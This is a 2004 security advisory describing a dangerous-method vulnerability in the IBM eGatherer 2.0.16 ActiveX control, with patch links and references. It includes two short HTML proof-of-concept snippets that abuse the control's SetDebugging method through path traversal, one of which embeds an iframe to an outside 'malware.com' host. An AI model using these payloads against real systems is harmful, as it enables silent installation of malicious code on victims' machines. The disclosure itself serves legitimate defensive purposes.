IBM EGatherer ActiveX Control Dangerous Method Vulnerability

Bugtraq ID:	10562
Class:	Design Error
CVE:
Remote:	Yes
Local:	No
Published:	Jun 16 2004 12:00AM
Updated:	Jun 16 2004 12:00AM
Credit:	Discovery of this vulnerability is credited to eEye Digital Security.
Vulnerable:	IBM eGatherer 2.0 .16
Not Vulnerable:

IBM EGatherer ActiveX Control Dangerous Method Vulnerability

It is reported that the IBM eGatherer ActiveX control contains dangerous methods that may result in a remote compromise of a system on which the ActiveX control is installed. These methods may be accessed by a malicious website and may result in the silent installation of a malicious executable.

A remote attacker may exploit this vulnerability in order to silently install a malicious executable on an affected system.

IBM EGatherer ActiveX Control Dangerous Method Vulnerability

The following example is available:

-----------EXAMPLE HTML 1 ---------
//first this page would be viewed, then through refreshing or whatever
one goes to the second page (or just timing the two calls with
SetTimeOUt and putting them on the same page...)
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../xx.hta",-1);
|script|
---------------------------------

-----------EXAMPLE HTML 2 ---------
|object classid="clsid:74FFE28D-2378-11D5-990C-006094235084" id="X"|
|object|

|script|
X.SetDebugging("/../x<iframe src=http://www.malware.com>x.hta",-1);
|script|


---------------------------------

IBM EGatherer ActiveX Control Dangerous Method Vulnerability

Solution:
IBM has released a patch to address this issue:


IBM eGatherer 2.0 .16

• IBM access_support_fp2.exe
  http://www-306.ibm.com/pc/support/site.wss/document.do?lndocid=MIGR-54 588

IBM EGatherer ActiveX Control Dangerous Method Vulnerability

References:

• MIGR-51860 (IBM)
  
• "IBM Access Support" (eGatherer) Activex Dangerous Methods Vulnerability ("Drew Copley" )